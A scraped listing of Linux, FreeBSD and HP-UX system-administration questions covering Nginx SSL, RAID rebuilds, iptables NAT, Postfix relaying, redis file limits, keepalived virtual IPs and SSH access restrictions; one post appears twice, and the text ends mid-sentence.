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  • InstantSSL's certificate no different than a self signed certificate under Nginx with an IP accessed address

    - by Absolute0
    I ordered an ssl certificate from InstantSSL and got the following pair of files: my_ip.ca-bundle, my_ip.crt I also previously generated my own key and crt files using openssl. I concatenated all the crt files: cat my_previously_generted.crt my_ip.ca_bundle my_ip.crt chained.crt And configured nginx as follows: server { ... listen 443; ssl on; ssl_certificate /home/dmsf/csr/chained.crt; ssl_certificate_key /home/dmsf/csr/csr.nopass.key; ... } I don't have a domain name as per the clients request. When I open the browser with https://my_ip chrome gives me this error: The site's security certificate is not trusted! You attempted to reach my_ip, but the server presented a certificate issued by an entity that is not trusted by your computer's operating system. This may mean that the server has generated its own security credentials, which Google Chrome cannot rely on for identity information, or an attacker may be trying to intercept your communications. You should not proceed, especially if you have never seen this warning before for this site.

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  • Split big Apache log to folder structure

    - by Dough
    I just changed my Apache log behavior because it was making me having very BIG files... So I now use cronolog to split my logs to log/httpd/2012/11/access_2012.11.30.log for exemple, pattern : %Y/%m/access_%Y.%m.%d.log I now want to split my old 42GB file to the same structure but really don't know how to do that efficiently. I tried some simple commands with cat, egrep, awk... but really don't know how to handle all that in a more powerful script. Here is how the log looks like : x.x.237.134 - - [08/Apr/2011:14:43:09 +0200] "GET... x.x.50.15 - - [08/Apr/2011:14:43:09 +0200] "GET... [...] x.x.254.19 - - [28/Feb/2012:15:24:48 +0100] "GET... So I need for yeah line to get : year %Y (ex. 2012) month %m (ex. 11) day %d And to push out the entire line to : %Y/%m/access_%Y.%m.%d.log Can someone give me clues to get that working ? Thanks a lot for your interest.

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  • Disabling Keyboard Wakeup for Ubuntu 10.04 on Acer 1810TZ

    - by sybreon
    My Acer Aspire 1810TZ laptop suspends fine but wakes up on any slight key-press. I would like to disable this behaviour. I read that it involves disabling something in the /proc/acpi/wakeup but SLPB does not seem to be listed at all. root@1810TZ:/etc# cat /proc/acpi/wakeup Device S-state Status Sysfs node UHC0 S3 disabled pci:0000:00:1d.0 UHC1 S3 disabled pci:0000:00:1d.1 UHC2 S3 disabled pci:0000:00:1d.2 UHCR S3 disabled EHC1 S3 disabled pci:0000:00:1d.7 UHC3 S3 disabled pci:0000:00:1a.0 UHC4 S3 disabled UHC5 S3 disabled EHC2 S3 disabled pci:0000:00:1a.7 EXP1 S4 disabled pci:0000:00:1c.0 PXSX S4 disabled pci:0000:01:00.0 EXP2 S4 disabled PXSX S4 disabled EXP3 S4 disabled PXSX S4 disabled EXP4 S4 disabled pci:0000:00:1c.3 PXSX S4 disabled pci:0000:02:00.0 EXP5 S4 disabled PXSX S4 disabled EXP6 S4 disabled PXSX S4 disabled However, the relevant bits seem to be detected from dmesg. [ 0.357628] ACPI: AC Adapter [ACAD] (on-line) [ 0.357749] input: Power Button as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0C:00/input/input0 [ 0.357754] ACPI: Power Button [PWRB] [ 0.357817] input: Lid Switch as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0D:00/input/input1 [ 0.359319] ACPI: Lid Switch [LID0] [ 0.359390] input: Sleep Button as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input2 [ 0.359394] ACPI: Sleep Button [SLPB] [ 0.359475] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input3 [ 0.359479] ACPI: Power Button [PWRF] Not quite sure what to do next.

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  • Nginx and automatic updates

    - by Desmond Hume
    I'm on Ubuntu 12.04.1 with unattended-upgrades configured for automatic security updates, and I installed Nginx by first adding deb http://nginx.org/packages/ubuntu/ lucid nginx deb-src http://nginx.org/packages/ubuntu/ lucid nginx to /etc/apt/sources.list file, just as was suggested by the official wiki, and then by sudo apt-get update sudo apt-get install nginx which installed Nginx with all the standard modules. But now I think I could make good use of one or two of the Nginx optional modules, like the gzip precompression module or some security-related one. So far, I see two ways of adding an optional module to Nginx, one is compiling and installing from the source code and the other is described in this article. So, which of the ways should I choose so that automatic updates still run for and apply to Nginx and its optional modules? Or should I create a cron job with a command/script specific for Nginx instead of using unattended-upgrades utility? Can I choose between volume updates and security-only updates to be automatically applied to the standard and optional modules? And finally, is there a possibility to automatically update Nginx's modules on the fly (without any connections having been dropped), like the documentation suggests it's possible with sudo kill -USR2 $( cat /run/nginx.pid ) P.S. Actually I'm not certain if unattended-upgrades utility would automatically update the standard modules in the first place, not enough time has passed since Nginx was installed to say for sure.

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  • iptables advanced routing

    - by Shamanu4
    I have a Centos server acting as a NAT in my network. This server has one external (later ext1) interface and three internal (later int1, int2 and int3). Egress traffic comes from users via int1 and after MASQUERADE goes via ext1. Ingress traffic comes from ext1, MASQUERADE, and goes via int2 or int3 according to static routes. | ext1 | x.x.x.x/24 +---------|----------------------+ | | | Centos server (NAT) | | | +---|------|---------------|-----+ | | | int1 | | int2 | int3 10.30.1.10/24 | | 10.30.2.10/24 | 10.30.3.10/24 ^ v v 10.30.1.1/24 | | 10.30.2.1/24 | 10.30.3.1/24 +---|------|---------------|-----+ | | | | | | | v v | | ^ -Traffic policer- | | |_____________ | | | | | +------------------|-------------+ | 192.168.0.1/16 | | Clients 192.168.0.0/16 The problem: Egress traffic seems to be dropped after PREROUTING table. Packet counters are not changing on MASQUERADE rule in POSTROUTING. If I change the routes to clients causing the traffic go back via int1 - everything works perfectly. current iptable configuration is very simple: # cat /etc/sysconfig/iptables *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -I INPUT 1 -i int1 -j ACCEPT -A FORWARD -j ACCEPT COMMIT *nat -A POSTROUTING -o ext1 -j MASQUERADE # COMMIT Can anyone point me what I'm missing? Thanks. UPDATE: 192.168.100.60 via 10.30.2.1 dev int2 proto zebra # routes to clients ... 192.168.100.61 via 10.30.3.1 dev int3 proto zebra # ... I have a lot of them x.x.x.0/24 dev ext1 proto kernel scope link src x.x.x.x 10.30.1.0/24 dev int1 proto kernel scope link src 10.30.1.10 10.30.2.0/24 dev int2 proto kernel scope link src 10.30.2.10 10.30.3.0/24 dev int3 proto kernel scope link src 10.30.3.10 169.254.0.0/16 dev ext1 scope link metric 1003 169.254.0.0/16 dev int1 scope link metric 1004 169.254.0.0/16 dev int2 scope link metric 1005 169.254.0.0/16 dev int3 scope link metric 1006 blackhole 192.168.0.0/16 default via x.x.x.y dev ext1 Clients have 192.168.0.1 as gateway, which is redirecting them to 10.30.1.1

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  • Disabling Keyboard Wakeup for Ubuntu 10.04 on Acer 1810TZ

    - by sybreon
    My Acer Aspire 1810TZ laptop suspends fine but wakes up on any slight key-press. I would like to disable this behaviour. I read that it involves disabling something in the /proc/acpi/wakeup but SLPB does not seem to be listed at all. root@1810TZ:/etc# cat /proc/acpi/wakeup Device S-state Status Sysfs node UHC0 S3 disabled pci:0000:00:1d.0 UHC1 S3 disabled pci:0000:00:1d.1 UHC2 S3 disabled pci:0000:00:1d.2 UHCR S3 disabled EHC1 S3 disabled pci:0000:00:1d.7 UHC3 S3 disabled pci:0000:00:1a.0 UHC4 S3 disabled UHC5 S3 disabled EHC2 S3 disabled pci:0000:00:1a.7 EXP1 S4 disabled pci:0000:00:1c.0 PXSX S4 disabled pci:0000:01:00.0 EXP2 S4 disabled PXSX S4 disabled EXP3 S4 disabled PXSX S4 disabled EXP4 S4 disabled pci:0000:00:1c.3 PXSX S4 disabled pci:0000:02:00.0 EXP5 S4 disabled PXSX S4 disabled EXP6 S4 disabled PXSX S4 disabled However, the relevant bits seem to be detected from dmesg. [ 0.357628] ACPI: AC Adapter [ACAD] (on-line) [ 0.357749] input: Power Button as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0C:00/input/input0 [ 0.357754] ACPI: Power Button [PWRB] [ 0.357817] input: Lid Switch as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0D:00/input/input1 [ 0.359319] ACPI: Lid Switch [LID0] [ 0.359390] input: Sleep Button as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input2 [ 0.359394] ACPI: Sleep Button [SLPB] [ 0.359475] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input3 [ 0.359479] ACPI: Power Button [PWRF] Not quite sure what to do next.

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  • Cannot load from raid with grub

    - by Andrew Answer
    I have a RAID1 array on my Ubuntu 12.04 LTS and my /sda HDD has been replaced several days ago. I use this commands to replace: # go to superuser sudo bash # see RAID state mdadm -Q -D /dev/md0 # State should be "clean, degraded" # remove broken disk from RAID mdadm /dev/md0 --fail /dev/sda1 mdadm /dev/md0 --remove /dev/sda1 # see partitions fdisk -l # shutdown computer shutdown now # physically replace old disk by new # start system again # see partitions fdisk -l # copy partitions from sdb to sda sfdisk -d /dev/sdb | sfdisk /dev/sda # recreate id for sda sfdisk --change-id /dev/sda 1 fd # add sda1 to RAID mdadm /dev/md0 --add /dev/sda1 # see RAID state mdadm -Q -D /dev/md0 # State should be "clean, degraded, recovering" # to see status you can use cat /proc/mdstat After bebuilding completion "fdisk -l" says what I have not valid partition table /dev/md0. So 1) "update-grub" find only /sda and /sdb Linux, not /md0 2) "dpkg-reconfigure grub-pc" says "GRUB failed to install the following devices /dev/md0" I cannot load my system except from /sdb1 and /sda1, but in DEGRADED mode... This is my partial fdisk -l output: Disk /dev/sdb: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000667ca Device Boot Start End Blocks Id System /dev/sdb1 * 63 940910984 470455461 fd Linux raid autodetect /dev/sdb2 940910985 976768064 17928540 5 Extended /dev/sdb5 940911048 976768064 17928508+ 82 Linux swap / Solaris Disk /dev/md0: 481.7 GB, 481746288640 bytes 2 heads, 4 sectors/track, 117613840 cylinders, total 940910720 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/md0 doesn't contain a valid partition table Anybody can resolve this issue? I have big headache with this.

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  • GNU screen cannot find terminfo entry on HP-UX

    - by Ency
    I am trying to make screen work on HP-UX B.11.23 U ia64 0308561483 unlimited-user license. Please notice I do not have root access. I have already compiled screen successfully, configured with LIBS=-lcurses. When I try to start screen it wrotes Cannot find terminfo entry for 'xterm'. But there ARE terminfos for the terminal type in screen-4.0.3> ls -a /usr/share/lib/terminfo/x/ . .. x-hpterm x1700 x1720 x1750 xitex xl83 xterm xterms I thing the problem may be there are in non-standard path, because according to man page standard path is /usr/lib/terminfo/?/* What I tried: But as I said I do not have root access so cant make symlink, anyway I tried run screen with filled TERMINFO_DIRS (TERMINFO_DIRS=/usr/share/lib/terminfo/x/ ./screen and TERMINFO_DIRS=/usr/share/lib/terminfo/ ./screen) but none of them work - same error. Change TERM to different values - same error Cannot find terminfo entry for <WHATEVER WHAT WAS IN TERM VAR>. Put something into screenrc and run ./screen -c screenrc screen-4.0.3> cat screenrc attrcolor b ".I" term xterm termcap xterm* LP:hs@ termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm' defbce "on" But no luck so far, have you got any suggestions? Need some additional information, let me know.

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  • Truncated content with Apache on Vagrant VM

    - by Nev Stokes
    I'm using Vagrant to run a CentOS VM in order to try and achieve local development parity with our live servers. I've symlinked /var/www/html with the /vagrant shared directory and am forwarding port 80 for viewing at http://localhost:4567. I'm developing using SublimeText 2 on OS X Mountain Lion. Once I figured that iptables was tripping me up, all was well and good. Until I noticed something strange. I have a sample HTML page consisting of several paragraphs of lorem copy. I can view this fine in a browser on OS X. But when I make an edit, for example removing a paragraph, and refresh the content is truncated with the paragraph I deleted still visible. When I cat the files on the server I can see the changes I made but these aren't even reflected when I curl localhost. I strongly suspect that it's a problem with my Apache settings — with which I didn't really tinker — as the issue doesn't arise when I stop Apache and run sudo python -m SimpleHTTPServer 80 in the directory to view pages instead. What gives?

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  • su not giving proper message for restricted LDAP groups

    - by user1743881
    I have configured PAM authentication on Linux box to restrict particular group only to login. I have enabled pam and ldap through authconfig and modified access.conf like below, [root@test root]# tail -1 /etc/security/access.conf - : ALL EXCEPT root test-auth : ALL Also modified sudoers file, to get su for this group <code> [root@test ~]# tail -1 /etc/sudoers %test-auth ALL=/bin/su</code> Now, only this ldap group members can login to system. However when from any of this authorized user, I tried for su, it asks for password and then though I enter correct password it gives message like Incorrect password and login failed. /var/log/secure shows that user is not having permission to get the access, but then it should print message like Access denied.The way it prints for console login. My functionality is working but its no giving proper messages. Could anyone please help on this. My /etc/pam.d/su file, [root@test root]# cat /etc/pam.d/su #%PAM-1.0 auth sufficient pam_rootok.so # Uncomment the following line to implicitly trust users in the "wheel" group. #auth sufficient pam_wheel.so trust use_uid # Uncomment the following line to require a user to be in the "wheel" group. #auth required pam_wheel.so use_uid auth include system-auth account sufficient pam_succeed_if.so uid = 0 use_uid quiet account include system-auth password include system-auth session include system-auth session optional pam_xauth.so

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  • How to get an inactive RAID device working again?

    - by Jonik
    After booting, my RAID1 device (/dev/md_d0 *) sometimes goes in some funny state and I cannot mount it. * Originally I created /dev/md0 but it has somehow changed itself into /dev/md_d0. # mount /opt mount: wrong fs type, bad option, bad superblock on /dev/md_d0, missing codepage or helper program, or other error (could this be the IDE device where you in fact use ide-scsi so that sr0 or sda or so is needed?) In some cases useful info is found in syslog - try dmesg | tail or so The RAID device appears to be inactive somehow: # cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md_d0 : inactive sda4[0](S) 241095104 blocks # mdadm --detail /dev/md_d0 mdadm: md device /dev/md_d0 does not appear to be active. Question is, how to make active the device again (using mdmadm, I presume)? (Other times it's alright (active) after boot, and I can mount it manually without problems. But it still won't mount automatically even though I have it in /etc/fstab: /dev/md_d0 /opt ext4 defaults 0 0 So a bonus question: what should I do to make the RAID device automatically mount at /opt at boot time?) This is an Ubuntu 9.10 workstation. Background info about my RAID setup in this question.

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  • Postfix "loops back to myself" error on relay to another IP address on same machine

    - by Nic Wolff
    I'm trying to relay all mail for one domain "ourdomain.tld" from Postfix running on port 2525 of one interface to another SMTP server running on port 25 of another interface on the same machine. However, when a message is received for that domain, we're getting a "mail for loops back to myself" error. Below are netstat and postconf, the contents of our /etc/postfix/transport file, and the error that Postfix is logging. (The high bytes of each IP address are XXXed out.) Am I missing something obvious? Thanks - # netstat -ln -A inet Proto Recv-Q Send-Q Local Address Foreign Address State ... tcp 0 0 XXX.XXX.138.209:25 0.0.0.0:* LISTEN tcp 0 0 XXX.XXX.138.210:2525 0.0.0.0:* LISTEN # postconf -d | grep mail_version mail_version = 2.8.4 # postconf -n alias_maps = hash:/etc/aliases allow_mail_to_commands = alias,forward bounce_queue_lifetime = 0 command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 2 default_privs = nobody default_process_limit = 200 html_directory = no inet_interfaces = XXX.XXX.138.210 local_recipient_maps = local_transport = error:local mail delivery is disabled mail_owner = postfix mailbox_size_limit = 0 mailq_path = /usr/bin/mailq manpage_directory = /usr/local/man message_size_limit = 10240000 mydestination = mydomain = ourdomain.tld myhostname = ourdomain.tld mynetworks = XXX.XXX.119.0/24, XXX.XXX.138.0/24, XXX.XXX.136.128/25 myorigin = ourdomain.tld newaliases_path = /usr/bin/newaliases queue_directory = /var/spool/postfix readme_directory = /etc/postfix recipient_delimiter = + relay_domains = ourdomain.tld relay_recipient_maps = sample_directory = /etc/postfix sendmail_path = /usr/sbin/sendmail setgid_group = postdrop smtpd_authorized_verp_clients = $mynetworks smtpd_recipient_limit = 10000 transport_maps = hash:/etc/postfix/transport unknown_local_recipient_reject_code = 450 # cat /etc/postfix/transport ourdomain.tld relay:[XXX.XXX.138.209]:25 # tail -f /var/log/maillog ... Aug 2 23:58:36 va4 postfix/smtp[9846]: 9858A758404: to=<nicwolff@... >, relay=XXX.XXX.138.209[XXX.XXX.138.209]:25, delay=1.1, delays=0.08/0.01/1/0, dsn=5.4.6, status=bounced (mail for [XXX.XXX.138.209]:25 loops back to myself)

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  • Determining the Source of a Given File System Mount on Unix [migrated]

    - by phobos51594
    Background Recently I have run into a bit of a snag on my home FreeBSD server. I recently upgraded it to the latest stable release, and I have noticed some strange behavior with the /var partition. Originally, I had the system configured such that /var had its own partition with /var/run and /var/log in memory disks (/tmp, too). After the upgrade, I notice there is a new, fourth memory disk mounting directly to /var that I had not set up manually and is not in my fstab. It is only 28 megs or so in size and is causing problems when trying to update my ports collection. The ramdisk mounts atuomagically at boot and cannot be unmounted while in multi-user mode. If I drop to single user mode, I am able to unmount it without issue, however rebooting causes it to pop right back up. System specifications have been included at the end of the post. Question Is there any way to determine exactly what is mounting a given memory disk (or any filesystem, for that matter) after it has been mounted? Alternately, does anybody have any ideas what might have caused the new /var ramdisk to pop up? System Specification # uname -a FreeBSD sarge 9.1-PRERELEASE FreeBSD 9.1-PRERELEASE #0: Thu Nov 22 14:02:13 PST 2012 donut@sarge:/usr/obj/usr/src/sys/GENERIC i386 # df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/da0s1a 515612 410728 63636 87% / devfs 1 1 0 100% /dev /dev/da0s1d 515612 287616 186748 61% /var /dev/da0s1e 6667808 2292824 3841560 37% /usr /dev/md0 63004 32 57932 0% /tmp /dev/md1 3484 8 3200 0% /var/run /dev/md2 31260 8 28752 0% /var/log /dev/md3 31260 512 28248 2% /var <-- This # cat /etc/fstab # Device Mountpoint FStype Options Dump Pass# /dev/da0s1a / ufs rw,noatime 1 1 /dev/da0s1d /var ufs rw,noatime 2 2 /dev/da0s1e /usr ufs rw,noatime 2 2 md /tmp mfs rw,-s64M,noatime 0 0 md /var/run mfs rw,-s4M,noatime 0 0 md /var/log mfs rw,-s32M,noatime 0 0 Thank you in advance for any assistance.

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  • FreeBSD rc.d script doesn't work when starting up

    - by kastermester
    I am trying to write a rc.d script to startup the fastcgi-mono-server4 on FreeBSD when the computer starts up - in order to run it with nginx. The script works when I execute it while being logged in on the server - but when booting I get the following message: eval: -applications=192.168.50.133:/:/usr/local/www/nginx: not found The script looks as follows: #!/bin/sh # PROVIDE: monofcgid # REQUIRE: LOGIN nginx # KEYWORD: shutdown . /etc/rc.subr name="monofcgid" rcvar="monofcgid_enable" stop_cmd="${name}_stop" start_cmd="${name}_start" start_precmd="${name}_prestart" start_postcmd="${name}_poststart" stop_postcmd="${name}_poststop" command=$(which fastcgi-mono-server4) apps="192.168.50.133:/:/usr/local/www/nginx" pidfile="/var/run/${name}.pid" monofcgid_prestart() { if [ -f $pidfile ]; then echo "monofcgid is already running." exit 0 fi } monofcgid_start() { echo "Starting monofcgid." ${command} -applications=${apps} -socket=tcp:127.0.0.1:9000 & } monofcgid_poststart() { MONOSERVER_PID=$(ps ax | grep mono/4.0/fastcgi-m | grep -v grep | awk '{print $1}') if [ -f $pidfile ]; then rm $pidfile fi if [ -n $MONOSERVER_PID ]; then echo $MONOSERVER_PID > $pidfile fi } monofcgid_stop() { if [ -f $pidfile ]; then echo "Stopping monofcgid." kill $(cat $pidfile) echo "Stopped monofcgid." else echo "monofcgid is not running." exit 0 fi } monofcgid_poststop() { rm $pidfile } load_rc_config $name run_rc_command "$1" In case it is not already super clear, I am fairly new to both FreeBSD and sh scripts, so I'm kind of prepared for some obvious little detail I overlooked. I would very much like to know exactly why this is failing and how to solve it, but also if anyone has a better way of accomplishing this, then I am all open to ideas.

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  • Are my Linux symbolic links acting correctly?

    - by Andy Castles
    Hi all I've been using Linux on and off for the last 15 years and today I came across something in bash that surprised me. Setup the following directory structure: $ cd /tmp $ mkdir /tmp/symlinktest $ mkdir /tmp/symlinktest/dir $ mkdir /tmp/symlinktarget Now create two sym links in symlinktest pointing to symlinktarget: $ cd /tmp/symlinktest $ ln -s ../symlinktarget Asym $ ln -s ../symlinktarget Bsym Now, in bash, the following tab completion does strange things. Type the following: $ cd dir $ cd ../A[TAB] Pressing the tab key above completes the line to: $ cd ../Asym/ as I expected. Now press enter to change into Asym and type: $ cd ../B[TAB] This time pressing the tab key completes the link to: $ cd ../Bsym[space] Note that there is now a space after the Bsym and there is no trailing slash. My question is, why when changing from the physical directory "dir" to Asym it recognises that Asym is a link to a directory, but when changing from one sym link to another, it doesn't recognise that it's a link to a directory? In addition, if I try to create a new file within Asym, I get an error message: $ cd /tmp/symlinktest/Asym $ cat hello > ../Bsym/file.txt -bash: ../Bsym/file.txt: No such file or directory I always thought that symlinks were mostly transparent except to programs that need to manipulate them. Is this normal behaviour? Many thanks, Andy

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  • Access to File being restricted after Ubuntu crashed

    - by Tim
    My Ubuntu 8.10 crashed due to the overheating problem of the CPU when I am opening some directory and intend to do some file transfer under Nautilus. After reboot, under gnome, all the files cannot be removed, their properties cannot be viewed and they can only be opened, although all are still fine under terminal. I was wondering why is that and how can I fix it? Thanks and regards UPdate $ cat /etc/mtab /dev/sda7 / ext3 rw,relatime,errors=remount-ro 0 0 tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0 /proc /proc proc rw,noexec,nosuid,nodev 0 0 sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0 varrun /var/run tmpfs rw,nosuid,mode=0755 0 0 varlock /var/lock tmpfs rw,noexec,nosuid,nodev,mode=1777 0 0 udev /dev tmpfs rw,mode=0755 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 fusectl /sys/fs/fuse/connections fusectl rw 0 0 lrm /lib/modules/2.6.27-15-generic/volatile tmpfs rw,mode=755 0 0 /dev/sda8 /home ext3 rw,relatime 0 0 /dev/sda2 /windows-c vfat rw,utf8,umask=007,gid=46 0 0 /dev/sda5 /windows-d fuseblk rw,allow_other,blksize=4096 0 0 securityfs /sys/kernel/security securityfs rw 0 0 binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0 gvfs-fuse-daemon /home/tim/.gvfs fuse.gvfs-fuse-daemon rw,nosuid,nodev,user=tim 0 0

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  • CentOS vps is randomly rebooting

    - by develroot
    I have a centos vps (Parallels Virtuozzo container) which has been running for months. However, a few days ago it started to randomly reboot itself, and i can't find out why. And the biggest problem that i don't understand is that it takes 40 minutes to reboot (as far as i can see in the logs) root ~ # cat /var/log/messages | grep shutdown Oct 11 13:52:11 vps27 shutdown[23968]: shutting down for system halt Oct 14 14:55:17 vps27 shutdown[30662]: shutting down for system halt Oct 15 06:21:23 vps27 shutdown[20157]: shutting down for system halt And notice the time difference between shutdown and xinetd's start: Oct 15 06:21:23 vps27 shutdown[20157]: shutting down for system halt Oct 15 06:21:24 vps27 init: Switching to runlevel: 0 Oct 15 06:21:27 vps27 saslauthd[30614]: server_exit : master exited: 30614 Oct 15 06:21:38 vps27 named[30661]: shutting down Oct 15 06:21:47 vps27 exiting on signal 15 Oct 15 07:04:34 vps27 syslogd 1.4.1: restart. Oct 15 07:05:06 vps27 xinetd[1471]: xinetd Version 2.3.14 started with libwrap loadavg labeled-networking options compiled in. Oct 15 07:05:06 vps27 xinetd[1471]: Started working: 0 available services And here's what Parallels Power Panel says in terms of Status Changes: Time Old Status Status Obtained Oct 15, 2011 06:23:46 AM Mounted Down Oct 15, 2011 06:22:31 AM Running Mounted Oct 14, 2011 03:06:48 PM Starting Running Oct 14, 2011 03:06:23 PM Down Starting Oct 14, 2011 03:06:08 PM Mounted Down Oct 14, 2011 02:58:24 PM Running Mounted For some reason it's getting into Mounting mode and then restarts itself. The only problem that i can imagine is disk space utilization, which is now 84%. But can that be a reson for system halt? Time Category Details Type Parameter Oct 15, 2011 07:08:33 AM Resource Resource counter_disk_share_used yellow alert on environment vps27 current value: 82 soft limit: 85 hard limit: 95 Yellow zone counter_disk_share_used Oct 15, 2011 06:27:23 AM Resource Resource counter_disk_share_used yellow alert on environment vps27 current value: 82 soft limit: 85 hard limit: 95 Yellow zone counter_disk_share_used Oct 15, 2011 06:23:50 AM Resource Resource counter_disk_share_used green alert on environment vps27 current value: 0 soft limit: hard limit: 0 Green zone counter_disk_share_used Oct 14, 2011 03:06:24 PM Resource Resource counter_disk_share_used yellow alert on environment vps27 current value: 83 soft limit: 85 hard limit: 95 Yellow zone counter_disk_share_used Oct 14, 2011 03:05:50 PM Resource Resource counter_disk_share_used green alert on environment vps27 current value: 0 soft limit: hard limit: 0 Green zone counter_disk_share_used

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  • Why does redis report limit of 1024 files even after update to limits.conf?

    - by esilver
    I see this error at the top of my redis.log file: Current maximum open files is 1024. maxclients has been reduced to 4064 to compensate for low ulimit. I have followed these steps to the letter (and rebooted): Moreover, I see this when I run ulimit: ubuntu@ip-XX-XXX-XXX-XXX:~$ ulimit -n 65535 Is this error specious? If not, what other steps do I need to perform? I am running redis 2.8.13 (tip of the tree) on Ubuntu LTS 14.04.1 (again, tip of the tree). Here is the user info: ubuntu@ip-XX-XXX-XXX-XXX:~$ ps aux | grep redis root 1027 0.0 0.0 66328 2112 ? Ss 20:30 0:00 sudo -u ubuntu /usr/local/bin/redis-server /etc/redis/redis.conf ubuntu 1107 19.2 48.8 7629152 7531552 ? Sl 20:30 2:21 /usr/local/bin/redis-server *:6379 The server is therefore running as ubuntu. Here are my limits.conf file without comments: ubuntu@ip-XX-XXX-XXX-XXX:~$ cat /etc/security/limits.conf | sed '/^#/d;/^$/d' ubuntu soft nofile 65535 ubuntu hard nofile 65535 root soft nofile 65535 root hard nofile 65535 And here is the output of sysctl fs.file-max: ubuntu@ip-XX-XXX-XXX-XXX:~$ sysctl -a| grep fs.file-max sysctl: permission denied on key 'fs.protected_hardlinks' sysctl: permission denied on key 'fs.protected_symlinks' fs.file-max = 1528687 sysctl: permission denied on key 'kernel.cad_pid' sysctl: permission denied on key 'kernel.usermodehelper.bset' sysctl: permission denied on key 'kernel.usermodehelper.inheritable' sysctl: permission denied on key 'net.ipv4.tcp_fastopen_key' as sudo ubuntu@ip-10-102-154-226:~$ sudo sysctl -a| grep fs.file-max fs.file-max = 1528687 Also, I see this error at the top of the redis.log file, not sure if it's related. It makes sense that the ubuntu user isn't allowed to change max open files, but given the high ulimits I have tried to set he shouldn't need to: [1050] 23 Aug 21:00:43.572 # You requested maxclients of 10000 requiring at least 10032 max file descriptors. [1050] 23 Aug 21:00:43.572 # Redis can't set maximum open files to 10032 because of OS error: Operation not permitted.

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  • Keepalived for more than 20 virtual addresses

    - by cvaldemar
    I have set up keepalived on two Debian machines for high availability, but I've run into the maximum number of virtual IP's I can assign to my vrrp_instance. How would I go about configuring and failing over 20+ virtual IP's? This is the, very simple, setup: LB01: 10.200.85.1 LB02: 10.200.85.2 Virtual IPs: 10.200.85.100 - 10.200.85.200 Each machine is also running Apache (later Nginx) binding on the virtual IPs for SSL client certificate termination and proxying to backend webservers. The reason I need so many VIP's is the inability to use VirtualHost on HTTPS. This is my keepalived.conf: vrrp_script chk_apache2 { script "killall -0 apache2" interval 2 weight 2 } vrrp_instance VI_1 { interface eth0 state MASTER virtual_router_id 51 priority 101 virtual_ipaddress { 10.200.85.100 . . all the way to . 10.200.85.200 } An identical configuration is on the BACKUP machine, and it's working fine, but only up to the 20th IP. I have found a HOWTO discussing this problem. Basically, they suggest having just one VIP and routing all traffic "via" this one IP, and "all will be well". Is this a good approach? I'm running pfSense firewalls in front of the machines. Quote from the above link: ip route add $VNET/N via $VIP or route add $VNET netmask w.x.y.z gw $VIP Thanks in advance. EDIT: @David Schwartz said it would make sense to add a route, so I tried adding a static route to the pfSense firewall, but that didn't work as I expected it would. pfSense route: Interface: LAN Destination network: 10.200.85.200/32 (virtual IP) Gateway: 10.200.85.100 (floating virtual IP) Description: Route to VIP .100 I also made sure I had packet forwarding enabled on my hosts: $ cat /etc/sysctl.conf net.ipv4.ip_forward=1 net.ipv4.ip_nonlocal_bind=1 Am I doing this wrong? I also removed all VIPs from the keepalived.conf so it only fails over 10.200.85.100.

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  • Restrict SSH user to connection from one machine

    - by Jonathan
    During set-up of a home server (running Kubuntu 10.04), I created an admin user for performing administrative tasks that may require an unmounted home. This user has a home directory on the root partition of the box. The machine has an internet-facing SSH server, and I have restricted the set of users that can connect via SSH, but I would like to restrict it further by making admin only accessible from my laptop (or perhaps only from the local 192.168.1.0/24 range). I currently have only an AllowGroups ssh-users with myself and admin as members of the ssh-users group. What I want is something that works like you may expect this setup to work (but it doesn't): $ groups jonathan ... ssh-users $ groups admin ... ssh-restricted-users $ cat /etc/ssh/sshd_config ... AllowGroups ssh-users [email protected].* ... Is there a way to do this? I have also tried this, but it did not work (admin could still log in remotely): AllowUsers [email protected].* * AllowGroups ssh-users with admin a member of ssh-users. I would also be fine with only allowing admin to log in with a key, and disallowing password logins, but I could find no general setting for sshd; there is a setting that requires root logins to use a key, but not for general users.

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  • Require a very simple bash-based webserver for logging XML POST [on hold]

    - by Syffys
    As in title, it's for testing purpose and I need it to be extremely light (1 line to 1 single light file). Here is a XML query sample: XML_QUERY=$(cat <<EOF <?xml version='1.0' encoding='UTF-8'?> <Test></Test> EOF ) curl -H "Content-type: text/xml; charset=utf-8" -H "Soapaction: \"\"" -k -d "${XML_QUERY}" http://localhost:8088 Here are some of the tracks I have found so far even if I wasnt able to adapt them to work as I expect: Netcat minimal webserver: Problem is that my nc does not have the -q option, so the connection is closing before delivering the XML content Netcat Only webserver: Same as above Thanks in advance! EDIT: As it's been asked, I'm running Linux Redhat, even if the distro does not really matter and the OS implied since I'm asking a bash-based solution... Also about my topic being on hold: "Instead, describe your situation and the specific problem you're trying to solve" = I though this was exactly what I was doing, but ok I'll reword: My situation: bash environment (which can also include some standard linux tool: netcat, python or whatever) My specific problem: please see title: Require a very 